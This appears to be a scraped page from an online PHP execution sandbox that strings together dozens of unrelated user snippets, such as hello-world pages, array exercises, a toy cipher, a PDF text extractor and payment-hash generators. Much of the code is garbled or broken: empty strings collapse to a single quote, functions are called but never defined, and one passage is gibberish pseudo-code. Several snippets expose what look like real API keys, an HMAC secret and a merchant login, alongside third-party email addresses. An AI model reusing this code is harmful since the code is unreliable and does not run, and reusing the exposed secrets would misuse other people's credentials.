image_hours

<?php date_default_timezone_set('Europe/Moscow'); $h = date('H'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> <style> body{ min-height: 100vh; background: url(img/img_dz/<?php echo floor($h / 6); ?>.jpg) no-repeat fixed; background-color: cover; } </style> </head> <body> <h1><?php echo $h; ?></h1> </body> </html>

https://pt.stackoverflow.com/q/359565/101

<?php $f = function() { echo "OK"; }; echo get_class($f); //https://pt.stackoverflow.com/q/359565/101

https://pt.stackoverflow.com/q/45323/101

<?php $array_banco = array(array('field' => 'data', 'description' => 'Data cadastro'), array('field' => 'ndereco', 'description' => 'Endereco') ); foreach($array_banco as $item){ $fields[$item['field']] = $item['description']; } var_dump($fields); //https://pt.stackoverflow.com/q/45323/101

dates

<?php $date="01-02-2019"; $month_timestamp = strtotime($date); echo $month_timestamp; if(date("W", $month_timestamp)==1) { $kbd1_month_num="01"; } else { // We need to find the monday of the week to assign the kbd1 to the right month $kbd1_month_num=date('m', strtotime(date("o", $month_timestamp).'-W'.date("W", $month_timestamp))); } $kbd1_year_num=date("o", $month_timestamp); echo "<br/>"; echo "Week:".date("W", $month_timestamp); echo "<br/>"; echo "Month:".$kbd1_month_num; echo "<br/>"; echo "Year:".$kbd1_year_num;

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $cryptage = array(1 => array(0 => "Ligne 1"),2 =>array(0 => "Ligne 2"), 3 => array(0 => "Ligne 3"), 4 => array(0 => "Ligne 4"),5 => array(0 => "Ligne 5")); $alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t',"u/v",'w','x','y','z']; shuffle($alphabet); /*print_r($alphabet);*/ foreach($alphabet as $key => $value) { if($key <5) {$cryptage[1][] = $alphabet[$key];} else if ($key <10) {$cryptage[2][] = $alphabet[$key];} else if ($key <15) {$cryptage[3][] = $alphabet[$key];} else if ($key <20) {$cryptage[4][] = $alphabet[$key];} else {$cryptage[5][] = $alphabet[$key];} } print_r($cryptage); $message = "bouteille."; $message_clean= str_replace(".", ", $message); $message_tab = str_split($message_clean); crypt_message($message_tab,$cryptage); /* cryptage */ function crypt_message($message,$cryptage) { $crypted_message = array(); foreach($message as $key => $value) { if($message[$key] == 'u' || $message[$key] == 'v') { $dizaine = searchForId("u/v",$cryptage); $unite = array_search("u/v",$cryptage[$dizaine]); $dizaine = $dizaine * 10; $crypted_message[]= $dizaine + $unite; } else{ $dizaine = searchForId($message[$key],$cryptage); $unite = array_search($message[$key],$cryptage[$dizaine]); $dizaine = $dizaine * 10; $crypted_message[] = $dizaine + $unite; } } echo "Message code : "; print_r($crypted_message); decrypt_message($crypted_message,$cryptage); } /* decryptage */ function decrypt_message($crypted, $cryptage) { $decrypted_message = array(); foreach($crypted as $key => $value) { $unite = $crypted[$key] % 10; $dizaine = ($crypted[$key] - $unite) / 10; $decrypted_message[] = $cryptage[$dizaine][$unite]; } echo "Message decode :"; print_r($decrypted_message); } /* recherche multidimensionnelle */ function searchForId($id, $array) { foreach ($array as $key => $val) { if ($val[1] === $id || $val[2] === $id || $val[3] === $id || $val[4] === $id || $val[5] === $id) { return $key; } } return null; } ?> </body> </html>

prova

<?php abstract class ClassA { public static function Foo($sum) { static $var = 1; echo $var + $sum; } } class ClassB extends ClassA { public static function Foo($sum) { static $var = 2; echo $var + $sum; } public function Self() { self::Foo(4); } public function Parent() { parent::Foo(5); } public function Static() { static::Foo(6); } public function className() { classA::Foo(7); } } $test = new ClassB; $test->Self(); echo "\n"; $test->Parent(); echo "\n"; $test->Static(); echo "\n"; $test->className();

hkhk

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Bruno4

<html> <head> <title>Bruno, if i ostale putešesvije</title> </head> <body> <?php $traffic = NULL; echo "Bruno, kad ces doma?"; if ($traffic =NULL){ echo "Soon!"; } if ($traffic ==NULL){ echo "NEVER!"; } ?> </body> </html>

SimpleI

<?php $P=120; $R=5; $T=6; $SI=($P*$R*$T)/100; echo "Amount to pay=$SI"; ?>

Leap year

<?php $year=2008; if($year % 4 ==0){ echo"To the people born on 29 February- Ya your birthday is near"; } else{ echo"To the people born on 29 February - Sorry this is not a leap year"; } ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

comment

<?php if ( ! is_front_page() ): ?> <div class="entry-header inner-page-banner-bg" style="background-image: url('<?php // echo inner_page_banner_bg();?>');"> <div> <div class="top-title"> <h1 class="heading-1" itemprop="headline"><?php the_title(); ?> <?php if( get_field('ad_banner_btn_name') ): ?><a href="<?php echo $ad_banner_btn_link['url']; ?>" class="btn btn-2"><?php the_field('ad_banner_btn_name'); ?></a><?php endif; ?> </h1> </div> </div> </div> <?php endif; ?>

aaaa

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; echo "test"; ?> </body> </html>

hgghghg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo("<pre>"); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $user1 = array('dep','ak', 'kr'); $user2 = array('ak','pa', 'in'); $user3 = array('kr', 'an', 'gu'); $user4 = array('gu','amr', 'mam'); $list = array($user1,$user2,$user3,$user4); var_dump($list); foreach($list as $user) { echo $user[0].'=>'; echo $user[1].'=>'; echo $user[2].'=>'; } ?>

Array Unique

<?php $emails = array( "alper.karakaya@calikdenim.com", "ibrahim.yoldakalan@calikdenim.com", "ibrahim.yoldakalan@calikdenim.com", "hilal.sahin@calikdenim.com", "alper.karakaya@calikdenim.com" ); $email_unique = array_unique($emails); print_r($email_unique); ?> <?php echo '*'; $base = array( "123QWERT" => "123QWERT", "ABCD123" => "ABCD123", ); var_dump($base); $archivo = array( "123QWERT" => "123QWERT", "AAAA112" => "AAAA112", ); var_dump($archivo); $diferencia_nuevos = array_diff_key($archivo, $base); var_dump($diferencia_nuevos); $diferencia_nuevos2 = array_diff_key($base, $archivo); var_dump($diferencia_nuevos2); $nuevos_base = array( "123QWERT" => "123QWERT", "AAAA112" => "AAAA112", "ABCD123" => "ABCD123", ); $no_existen = array( "ABCD123" => "ABCD123", ); $archivo_nuevo = array( "123QWERT" => "123QWERT", "AAAA112" => "AAAA112", "ABCD123" => "ABCD123", ); $actual = array_intersect_key($archivo_nuevo, $no_existen); var_dump($actual); $_ = array(array("sku" => "1231212"), array("sku" => "ABC123")); $_data = (array_combine(array_column($_, "sku"), array_column($_, "sku"))); var_dump($_data["1231212"]);?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $key="3859E07585FA45D87535C20619AF14EC6EA25C179CF156D07DE26449EEEEA1FECA4BCA1A176EFBABBBCA6B1E21FCD95DBC557A2476728E30B2D4699AB5B62B73"; $transId = "60115287997"; $apiLogin = "5T9cRn9FK"; $Amount = "5.00"; $textToHash= "^". $apiLogin."^". $transId ."^". $Amount."^"; HMACSHA512($key,$textToHash); function HMACSHA512( $key,$textToHash) { if($key==null || $key=='') throw new Exception("HMACSHA512: key Parameter cannot be empty."); if($textToHash==null || $textToHash=='') throw new Exception("HMACSHA512: textToHash Parameter cannot be empty."); if(strlen($key)%2!=0 || strlen($key)<2) throw new Exception("HMACSHA512: key Parameter cannot be odd or less than 2 characters."); echo $key; $byte_array=unpack('C*', 'The quick fox jumped over the lazy brown dog'); var_dump($byte_array); return null; } function hextobin($hexstr) { $n = strlen($hexstr); $sbin="; $i=0; while($i<$n) { $a =substr($hexstr,$i,2); $c = pack("H*",$a); if ($i==0){$sbin=$c;} else {$sbin.=$c;} $i+=2; } return $sbin; } ?> </body> </html> <?php $arr = array("huy", "pizda", "ggurda"); foreach ($arr as $arrElem) { echo "$arrElem\n", 'length is' strlen($arrElem)"; } ?>

uuid

<?php print_r(md5(microtime() . rand() . rand())); <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $json = '{"000FFF1E3CD2":{"DRIVER_VER":"0.2.39","FW":"2.10.5.554707-res","IP":"127.0.0.1","ROOM":"101","T":1547551942.2782,"bridge":"000FFF1E3CD2","data":"<c4soap name=\"GetNetworkBindings\" seq=\"\" result=\"1\"><networkbindings><networkbinding><deviceid>11</deviceid><networkbindingid>6001</networkbindingid><addresstype>1</addresstype><addr>127.0.0.1</addr><uuid>c4:control4_ea1-Training-ea1-000FFF1E3CD2</uuid><ssdptype>c4:control4_ea1</ssdptype><status>online</status></networkbinding><networkbinding><deviceid>29</deviceid><networkbindingid>6001</networkbindingid><addresstype>1</addresstype><addr /><uuid>c4:triad_one-triad-one-000FFF1F8243</uuid><ssdptype>c4:triad_one</ssdptype><status>offline</status></networkbinding><networkbinding><deviceid>34</deviceid><networkbindingid>6001</networkbindingid><addresstype>1</addresstype><addr /><uuid>c4:control4_light:C4-DIN-8REL-E-dinrail-000fff16722b</uuid><ssdptype>c4:control4_light:C4-DIN-8REL-E</ssdptype><status>offline</status></networkbinding><networkbinding><deviceid>50</deviceid><networkbindingid>6001</networkbindingid><addresstype>3</addresstype><addr>000fff0000715346</addr><uuid>000fff0000715346</uuid><ssdptype>c4:control4_light:C4-KD120</ssdptype><status>offline</status></networkbinding><networkbinding><deviceid>86</deviceid><networkbindingid>6001</networkbindingid><addresstype>3</addresstype><addr>000fff000059ca3e</addr><uuid>000fff000059ca3e</uuid><ssdptype>c4:control4_sr260:C4-SR260</ssdptype><status>online</status></networkbinding></networkbindings></c4soap>","strCommand":"GetNetworkBindings"}}'; // function for multiple dimension json function array_recursion(array $myarray, array $searchterms) { foreach ($myarray as $key => $value) { if (is_array($value)) array_recursion($value, $searchterms); else if (in_array($key, $searchterms)) print $key . ": " . $value . "\n"; } } $decoded = json_decode($json, true); //If json_decode failed, the JSON is invalid. if(!is_array($decoded)){ throw new Exception('Received content contained invalid JSON!'); } //Process the JSON. //print_r($decoded); array_recursion($decoded, Array('bridge','data')); /* //handling xml - does not work in this sandbox $xmlstring='<c4soap name="GetNetworkBindings" seq=" result="1"> <networkbindings> <networkbinding> <deviceid>11</deviceid> <networkbindingid>6001</networkbindingid> <addresstype>1</addresstype> <addr>127.0.0.1</addr> <uuid>c4:control4_ea1-Training-ea1-000FFF1E3CD2</uuid> <ssdptype>c4:control4_ea1</ssdptype> <status>online</status> </networkbinding> </networkbindings> </c4soap>'; $xml = simplexml_load_string($xmlstring); $json = json_encode($xml); $array = json_decode($json,TRUE); print_r($array); <?php$xmlstring=' <c4soap name="GetNetworkBindings" seq=" result="1"> <networkbindings> <networkbinding> <deviceid>11</deviceid> <networkbindingid>6001</networkbindingid> <addresstype>1</addresstype> <addr>127.0.0.1</addr> <uuid>c4:control4_ea1-Training-ea1-000FFF1E3CD2</uuid> <ssdptype>c4:control4_ea1</ssdptype> <status>online</status> </networkbinding> <networkbinding> <deviceid>29</deviceid> <networkbindingid>6001</networkbindingid> <addresstype>1</addresstype> <addr /> <uuid>c4:triad_one-triad-one-000FFF1F8243</uuid> <ssdptype>c4:triad_one</ssdptype> <status>offline</status> </networkbinding> <networkbinding> <deviceid>34</deviceid> <networkbindingid>6001</networkbindingid> <addresstype>1</addresstype> <addr /> <uuid>c4:control4_light:C4-DIN-8REL-E-dinrail-000fff16722b</uuid> <ssdptype>c4:control4_light:C4-DIN-8REL-E</ssdptype> <status>offline</status> </networkbinding> <networkbinding> <deviceid>50</deviceid> <networkbindingid>6001</networkbindingid> <addresstype>3</addresstype> <addr>000fff0000715346</addr> <uuid>000fff0000715346</uuid> <ssdptype>c4:control4_light:C4-KD120</ssdptype> <status>offline</status> </networkbinding> <networkbinding> <deviceid>86</deviceid> <networkbindingid>6001</networkbindingid> <addresstype>3</addresstype> <addr>000fff000059ca3e</addr> <uuid>000fff000059ca3e</uuid> <ssdptype>c4:control4_sr260:C4-SR260</ssdptype> <status>online</status> </networkbinding> </networkbindings> </c4soap>'; $xml = simplexml_load_string($xmlstring); $json = json_encode($xml); $array = json_decode($json,TRUE); function array_recursion(array $myarray, array $searchterms) { foreach ($myarray as $key => $value) { if (is_array($value)) array_recursion($value, $searchterms); else if (in_array($key, $searchterms)) print $key . ": " . $value . "\n"; } } array_recursion($array, Array('deviceid')); //print_r($array); */ ?> </body> </html>

livekeygenerator

<?php $orderNo = 'CSTM_4KOP4R1690H'; $apiKey='?xn6dZdr'; $status='live'; $data=$orderNo.'|'.$apiKey.'|'.$status; $hashKey=hash('sha512', $data); echo $hashKey; ?>

rewrew

<?php $array = [2,3,4,5,3,7,2,2]; $counted = []; foreach ($array as $k => $v) { if (!isset($counted[$v])) { $counted[$v] = 0; } $counted[$v]++; } foreach ($counted as $k => $v) { if ($v > 1) { for ($i = $v; $i > 0; $i--) { echo $k; } } } ?>

Hiea

<?php $array = [2,3,4,5,3,7,2,2]; $buffer = []; foreach ($array as $k => $v) { $found = false; foreach ($buffer as $sk => $sv) { if ($v == $sv) { $found = true; } } if (!$found) { $buffer[] = $v; } } foreach ($buffer as $k => $v) { echo $v; } ?>

Sort array

<?php $array = array(4, 6, -2, 1, 3, 90, 0, 9, 8, 7, 5); $newarray = array(); $x = 0; $arraysize = sizeof($array); echo "\nOld "; print_r($array); echo "\n"; // get an array to loop over all the numbers in the array, accounting for changes in length foreach ($array as $not_needed) { // set our original lowest to infinity so that everything is smaller than it $lowest = INF; // loop through all the array members (again) to find the lowest foreach ($array as $arraymember){ // if the current member is lower than the lowest one so far, make it the lowest if ($lowest > $arraymember){ $lowest = $arraymember; } else {}; } $key = array_search($lowest, $array); unset($array[$key]); $newarray[] += $lowest; } // echo the whole array echo "\nNew "; print_r($newarray); echo "\n";?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <form action="> <input type="text" name="uname" value="> </form> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> </body> ?php </bash </php </title> </?php> php scipts </php> print"hello world" "hello world"*100 print.numpy as np select numbers from 1 to 100 if(1<100)</100> or else(if 1==100) </body> <title> </> print the data and to execute from the list given below sql={"name","age","sex"} sql={"subham","21","male"} "select* from users" <?php $txt = "J'apprends à coder"; //chaine initiale (non modifiée) $r = "CodeR"; //schéma de recherche //renvoie NULL si pas d'occurences... $new = preg_filter("/$r/i", 'programmer' , $txt); echo $new ."\n"; //renvoie chaine de départ si 0 occurences trouvées echo preg_replace("/$r/", 'programmer' , $txt) ."\n"; //Recherche schéma au niveau d'un tableau $r = '/^[^Em]/i'; $r = '/i.$/'; $tab = ['Emeline', 'Emmanuel', 'Charlie', 'Melvil', 'Emric']; $res = preg_grep($r, $tab); print_r($res); //Eclatement cdc en tableau selon schéma de recherche $r = "/\s/"; $res = preg_split($r, $txt); print_r($res); //QUANTIFIEuRS $r = '/e.?/'; //toutes occurences de e suivies de n'importe quel caractère preg_match_all($r, $txt, $res); print_r($res); $r = '/^j/i'; var_dump( preg_match($r, $txt) ); $r = '/s(=?\sà\s)/'; //true si $txt contient s suivi ' à ' var_dump( preg_match($r, $txt) ); $r = '/p{2}/'; //true si $txt contient 2p consécutifs var_dump( preg_match($r, $txt) ); //on veut un e ou E non suivi d'un m: $r = '/e(?!m)/i'; print_r( preg_grep($r, $tab) ); <?php $txt = "J'apprends à coder"; //chaine initiale (non modifiée) $r = "CodeR"; //schéma de recherche //renvoie NULL si pas d'occurences... $new = preg_filter("/$r/i", 'programmer' , $txt); echo $new ."\n"; //renvoie chaine de départ si 0 occurences trouvées echo preg_replace("/$r/", 'programmer' , $txt) ."\n"; //Recherche schéma au niveau d'un tableau $r = '/^[^Em]/i'; $r = '/i.$/'; $tab = ['Emeline', 'Emmanuel', 'Charlie', 'Melvil', 'Emric']; $res = preg_grep($r, $tab); print_r($res); //Eclatement cdc en tableau selon schéma de recherche $r = "/\s/"; $res = preg_split($r, $txt); print_r($res); //QUANTIFIEuRS $r = '/e.?/'; //toutes occurences de e suivies de n'importe quel caractère preg_match_all($r, $txt, $res); print_r($res); $r = '/^j/i'; var_dump( preg_match($r, $txt) ); $r = '/s(=?\sà\s)/'; //true si $txt contient s suivi ' à ' var_dump( preg_match($r, $txt) ); $r = '/p{2}/'; //true si $txt contient 2p consécutifs var_dump( preg_match($r, $txt) ); <?php for ($counter= 1 ;$counter <= 30;$counter++){ echo "hello $counter\n"; } <?php $flo = 6; while ($flo <= 23) /* the displayed value is flo. System will display all true values via statement scho*/ { echo $flo; $flo++; } ?>

gggg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $favcolor="blue"; switch($favcolor) { case "red": echo "your favourite color is red"; break; case "blue": echo "your favourite color is blue"; break; case "green": echo "your favourite color is green"; break; default: echo "your favourite color is neither red or blue nor green"; } ?>

sur.bandekar@gmail.com

<!DOCTYPE html> <html> <body> <h1> Welcome ........................</h1> <?php echo "Welcome To Our Page.............. ";?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

phphp

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hello

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $data=file_get_contents("https://www.google.com"); print($data); ?> </body> </html>

ZestMoney Generate Hash

<?php //Prepare Hash Key $zestMoneyOrderNo="CSTM_E9QFZD4JRPI"; $apiKey= "?xn6dZdr"; $status="live"; $data = $zestMoneyOrderNo . '|' . $apiKey . '|' . $status; $hashedValue = hash('sha512', $data); echo "Hash Value:",$hashedValue; ?>

PHP functions

<?php function say_hello($name = 'buddy'){ return "Hi, there $name!"; } //echo say_hello('Joe'); //functions.php function pp($value){ //object or array to be provided echo '<pre>'; print_r($value); echo '</pre>'; } $arr = [ 'name' => 'Joe', 'age' => 40, 'occupation' => 'teacher' ]; //print_r($arr); /*function array_pluck($toPluck, $arr){ $ret = []; //new array to be returned foreach($arr as $item){ $ret[] = $item[$toPluck]; //remplissage } return $ret; }*/ //every function has his own local scope. function array_pluck($toPluck, $arr){ return array_map(function($item) use($toPluck){ return $item[$toPluck]; }, $arr); } $people = [ ['name' => 'Jean', 'age' => 43, 'occupation' => 'Web developer'], ['name' => 'Joe', 'age' => 50, 'occupation' => 'Teacher'], ['name' => 'Jane', 'age' => 30, 'occupation' => 'Marketing'] ]; //1ere étape $names = array_pluck('name', $people); // retourner ['Jean', 'Joe', 'Jane'] //print_r($plucked); foreach($names as $name){ echo $name; }

Congratulations

<?php print "Hello Bolton Congratulations"; ?>

jira

<?php /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA This code is an improved version of what can be found at: http://www.webcheatsheet.com/php/reading_clean_text_from_pdf.php AUTHOR: - Webcheatsheet.com (Original code) - Joeri Stegeman (joeri210 [at] yahoo [dot] com) (Class conversion and fixes/adjustments) DESCRIPTION: This is a class to convert PDF files into ASCII text or so called PDF text extraction. It will ignore anything that is not addressed as text within the PDF and any layout. Currently supported filters are: ASCIIHexDecode, ASCII85Decode, FlateDecode PURPOSE(S): Most likely for people that want their PDF to be searchable. SYNTAX: include('class.pdf2text.php'); $a = new PDF2Text(); $a->setFilename('test.pdf'); $a->decodePDF(); echo $a->output(); ALTERNATIVES: Other excellent options to search within a PDF: - Apache PDFbox (http://pdfbox.apache.org/). An open source Java solution - pdflib TET (http://www.pdflib.com/products/tet/) - Online converter: http://snowtide.com/PDFTextStream */ class PDF2Text { // Some settings var $multibyte = 2; // Use setUnicode(TRUE|FALSE) var $convertquotes = ENT_QUOTES; // ENT_COMPAT (double-quotes), ENT_QUOTES (Both), ENT_NOQUOTES (None) // Variables var $filename = ''; var $decodedtext = ''; function setFilename($filename) { // Reset $this->decodedtext = ''; $this->filename = $filename; } function output($echo = false) { if($echo) echo $this->decodedtext; else return $this->decodedtext; } function setUnicode($input) { // 4 for unicode. But 2 should work in most cases just fine if($input == true) $this->multibyte = 4; else $this->multibyte = 2; } function decodePDF() { // Read the data from pdf file $infile = @file_get_contents($this->filename, FILE_BINARY); if (empty($infile)) return "; // Get all text data. $transformations = array(); $texts = array(); // Get the list of all objects. preg_match_all("#obj[\n|\r](.*)endobj[\n|\r]#ismU", $infile, $objects); $objects = @$objects[1]; // Select objects with streams. for ($i = 0; $i < count($objects); $i++) { $currentObject = $objects[$i]; // Check if an object includes data stream. if (preg_match("#stream[\n|\r](.*)endstream[\n|\r]#ismU", $currentObject, $stream)) { $stream = ltrim($stream[1]); // Check object parameters and look for text data. $options = $this->getObjectOptions($currentObject); if (!(empty($options["Length1"]) && empty($options["Type"]) && empty($options["Subtype"]))) continue; // Hack, length doesnt always seem to be correct unset($options["Length"]); // So, we have text data. Decode it. $data = $this->getDecodedStream($stream, $options); if (strlen($data)) { if (preg_match_all("#BT[\n|\r](.*)ET[\n|\r]#ismU", $data, $textContainers)) { $textContainers = @$textContainers[1]; $this->getDirtyTexts($texts, $textContainers); } else $this->getCharTransformations($transformations, $data); } } } // Analyze text blocks taking into account character transformations and return results. $this->decodedtext = $this->getTextUsingTransformations($texts, $transformations); } function decodeAsciiHex($input) { $output = "; $isOdd = true; $isComment = false; for($i = 0, $codeHigh = -1; $i < strlen($input) && $input[$i] != '>'; $i++) { $c = $input[$i]; if($isComment) { if ($c == '\r' || $c == '\n') $isComment = false; continue; } switch($c) { case '\0': case '\t': case '\r': case '\f': case '\n': case ' ': break; case '%': $isComment = true; break; default: $code = hexdec($c); if($code === 0 && $c != '0') return "; if($isOdd) $codeHigh = $code; else $output .= chr($codeHigh * 16 + $code); $isOdd = !$isOdd; break; } } if($input[$i] != '>') return "; if($isOdd) $output .= chr($codeHigh * 16); return $output; } function decodeAscii85($input) { $output = "; $isComment = false; $ords = array(); for($i = 0, $state = 0; $i < strlen($input) && $input[$i] != '~'; $i++) { $c = $input[$i]; if($isComment) { if ($c == '\r' || $c == '\n') $isComment = false; continue; } if ($c == '\0' || $c == '\t' || $c == '\r' || $c == '\f' || $c == '\n' || $c == ' ') continue; if ($c == '%') { $isComment = true; continue; } if ($c == 'z' && $state === 0) { $output .= str_repeat(chr(0), 4); continue; } if ($c < '!' || $c > 'u') return "; $code = ord($input[$i]) & 0xff; $ords[$state++] = $code - ord('!'); if ($state == 5) { $state = 0; for ($sum = 0, $j = 0; $j < 5; $j++) $sum = $sum * 85 + $ords[$j]; for ($j = 3; $j >= 0; $j--) $output .= chr($sum >> ($j * 8)); } } if ($state === 1) return "; elseif ($state > 1) { for ($i = 0, $sum = 0; $i < $state; $i++) $sum += ($ords[$i] + ($i == $state - 1)) * pow(85, 4 - $i); for ($i = 0; $i < $state - 1; $i++) $ouput .= chr($sum >> ((3 - $i) * 8)); } return $output; } function decodeFlate($input) { return gzuncompress($input); } function getObjectOptions($object) { $options = array(); if (preg_match("#<<(.*)>>#ismU", $object, $options)) { $options = explode("/", $options[1]); @array_shift($options); $o = array(); for ($j = 0; $j < @count($options); $j++) { $options[$j] = preg_replace("#\s+#", " ", trim($options[$j])); if (strpos($options[$j], " ") !== false) { $parts = explode(" ", $options[$j]); $o[$parts[0]] = $parts[1]; } else $o[$options[$j]] = true; } $options = $o; unset($o); } return $options; } function getDecodedStream($stream, $options) { $data = "; if (empty($options["Filter"])) $data = $stream; else { $length = !empty($options["Length"]) ? $options["Length"] : strlen($stream); $_stream = substr($stream, 0, $length); foreach ($options as $key => $value) { if ($key == "ASCIIHexDecode") $_stream = $this->decodeAsciiHex($_stream); if ($key == "ASCII85Decode") $_stream = $this->decodeAscii85($_stream); if ($key == "FlateDecode") $_stream = $this->decodeFlate($_stream); if ($key == "Crypt") { // TO DO } } $data = $_stream; } return $data; } function getDirtyTexts(&$texts, $textContainers) { for ($j = 0; $j < count($textContainers); $j++) { if (preg_match_all("#\[(.*)\]\s*TJ[\n|\r]#ismU", $textContainers[$j], $parts)) $texts = array_merge($texts, @$parts[1]); elseif(preg_match_all("#T[d|w|m|f]\s*(\(.*\))\s*Tj[\n|\r]#ismU", $textContainers[$j], $parts)) $texts = array_merge($texts, @$parts[1]); elseif(preg_match_all("#T[d|w|m|f]\s*(\[.*\])\s*Tj[\n|\r]#ismU", $textContainers[$j], $parts)) $texts = array_merge($texts, @$parts[1]); } } function getCharTransformations(&$transformations, $stream) { preg_match_all("#([0-9]+)\s+beginbfchar(.*)endbfchar#ismU", $stream, $chars, PREG_SET_ORDER); preg_match_all("#([0-9]+)\s+beginbfrange(.*)endbfrange#ismU", $stream, $ranges, PREG_SET_ORDER); for ($j = 0; $j < count($chars); $j++) { $count = $chars[$j][1]; $current = explode("\n", trim($chars[$j][2])); for ($k = 0; $k < $count && $k < count($current); $k++) { if (preg_match("#<([0-9a-f]{2,4})>\s+<([0-9a-f]{4,512})>#is", trim($current[$k]), $map)) $transformations[str_pad($map[1], 4, "0")] = $map[2]; } } for ($j = 0; $j < count($ranges); $j++) { $count = $ranges[$j][1]; $current = explode("\n", trim($ranges[$j][2])); for ($k = 0; $k < $count && $k < count($current); $k++) { if (preg_match("#<([0-9a-f]{4})>\s+<([0-9a-f]{4})>\s+<([0-9a-f]{4})>#is", trim($current[$k]), $map)) { $from = hexdec($map[1]); $to = hexdec($map[2]); $_from = hexdec($map[3]); for ($m = $from, $n = 0; $m <= $to; $m++, $n++) $transformations[sprintf("%04X", $m)] = sprintf("%04X", $_from + $n); } elseif (preg_match("#<([0-9a-f]{4})>\s+<([0-9a-f]{4})>\s+\[(.*)\]#ismU", trim($current[$k]), $map)) { $from = hexdec($map[1]); $to = hexdec($map[2]); $parts = preg_split("#\s+#", trim($map[3])); for ($m = $from, $n = 0; $m <= $to && $n < count($parts); $m++, $n++) $transformations[sprintf("%04X", $m)] = sprintf("%04X", hexdec($parts[$n])); } } } } function getTextUsingTransformations($texts, $transformations) { $document = "; for ($i = 0; $i < count($texts); $i++) { $isHex = false; $isPlain = false; $hex = "; $plain = "; for ($j = 0; $j < strlen($texts[$i]); $j++) { $c = $texts[$i][$j]; switch($c) { case "<": $hex = "; $isHex = true; break; case ">": $hexs = str_split($hex, $this->multibyte); // 2 or 4 (UTF8 or ISO) for ($k = 0; $k < count($hexs); $k++) { $chex = str_pad($hexs[$k], 4, "0"); // Add tailing zero if (isset($transformations[$chex])) $chex = $transformations[$chex]; $document .= html_entity_decode("&#x".$chex.";"); } $isHex = false; break; case "(": $plain = "; $isPlain = true; break; case ")": $document .= $plain; $isPlain = false; break; case "\\": $c2 = $texts[$i][$j + 1]; if (in_array($c2, array("\\", "(", ")"))) $plain .= $c2; elseif ($c2 == "n") $plain .= '\n'; elseif ($c2 == "r") $plain .= '\r'; elseif ($c2 == "t") $plain .= '\t'; elseif ($c2 == "b") $plain .= '\b'; elseif ($c2 == "f") $plain .= '\f'; elseif ($c2 >= '0' && $c2 <= '9') { $oct = preg_replace("#[^0-9]#", ", substr($texts[$i], $j + 1, 3)); $j += strlen($oct) - 1; $plain .= html_entity_decode("&#".octdec($oct).";", $this->convertquotes); } $j++; break; default: if ($isHex) $hex .= $c; if ($isPlain) $plain .= $c; break; } } $document .= "\n"; } return $document; } } ?>

phptest

<?php function test() { echo "Hello, PHP!\n"; } $func = "test"; $func();

https://pt.stackoverflow.com/q/351747/101

<?php echo true + "texto"; //https://pt.stackoverflow.com/q/351747/101

pascal triangle

<?php function binomialCoeff($n, $k) { $res = 1; if ($k > $n - $k) $k = $n - $k; for ($i = 0; $i < $k; ++$i) { $res *= ($n - $i); $res /= ($i + 1); } return $res; } { for ($line = 0; $line < $n; $line++) { // Every line has number of // integers equal to line // number for ($i = 0; $i <= $line; $i++) echo ".binomialCoeff($line, $i)." "; echo "\n"; } } $n=7; printPascal($n); ?>

412412

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php /** * Read and parse text files */ class Parser { private $file; public function setFile(string $f) { $this->file = $f; } public function getFile() { return $this->file; } public function getContent() { $i = fopen($this->file, 'r'); $output = "; $data = null; while (($data = fgets($i)) !== false) { $output += $data; } return $output; } public function getContentWithoutEmptyLines() { $i = fopen($this->file, 'r'); $output = "; $data = null; while (($data = fgets($i)) !== false) { if (trim($data) !== '') { $output += $data; } } return $output; } public function saveContent(string $content) { $o = fopen($this->file, 'w'); for ($i = 0; $i < strlen($content); $i += 1) { fwrite($o, $content[$i]); } } } ?> </body> </html>

Program 7

<!DOCTYPE HTML> <html> <head> <meta http-equiv="refresh" content="1"/> <style> p { color:white; font-size:90px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } body{background-color:black;} </style> <p> <?php echo date(" \n server\n h: i : s A \n ");?> </p> </head>

Program 6

<?php print "<h3> REFRESH PAGE </h3>"; $name="counter.txt"; $file = fopen($name,"r"); $hits= fscanf($file,"%d"); fclose($file); $hits[0]++; $file = fopen($name,"w"); fprintf($file,"%d",$hits[0]); fclose($file); print "\n Total number of views: ".$hits[0];?>

stats

